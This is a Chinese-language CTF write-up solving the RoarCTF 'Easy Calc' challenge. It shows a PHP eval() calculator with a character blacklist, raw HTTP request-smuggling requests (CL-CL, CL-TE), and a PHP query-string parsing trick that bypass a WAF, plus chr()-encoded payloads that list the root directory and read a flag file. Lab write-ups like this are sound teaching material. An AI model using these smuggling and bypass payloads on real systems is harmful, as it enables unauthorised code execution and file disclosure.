抓包发现calc.php,直接访问可以看到源代码~
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
搜集网上的wp,有两种解法:http走私、PHP的字符串解析特性。
解题
分析源代码,我们知道题目对num进行了过滤,可是没有说num不能包含字母。但是当我们传字母给num时出现了错误,并且在网页源代码里发现了hint:<!--I've set up WAF to ensure security.-->
说明前端服务器是对num进行了字母的过滤的。对于后端也就是代码的过滤,我们相对容易绕过。
重点:绕过前端的过滤!
前端的绕过
http请求走私
由Roarctf Easy Calc引起对http走私和分块传输绕过waf的思考
1、HTTP请求走私(CL-CL漏洞)
两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。
POST /calc.php?num=var_dump(scandir(chr(47))) HTTP/1.1
Host: node4.buuoj.cn:28857
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Length: 5
Content-Length: 5
num=1
2、HTTP请求走私(CL-TE漏洞)
CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。
POST /calc.php?num=var_dump(scandir(chr(47))) HTTP/1.1
Host: node4.buuoj.cn:25614
Content-Length: 8
Transfer-Encoding: chunked
num=1
0
其它几种请求走私依旧可以,就不测试了。
PHP的字符串解析特性
利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
我们传入? num=
,num前面加了一个空格。
因为前端检测的是 num
而不是 空格num
,所以就绕过了前端,同时后端经过转换 空格num
变成了num
。
后端的绕过
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
eval('echo '.$str.';');
scandir()
:返回指定目录中的文件和目录的数组。
chr(47):
/
、chr(102):f
、chr(49):1
、chr(97):a
、chr(103):g
读文件名:
? num=var_dump(scandir(chr(47)))
读文件内容:
? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))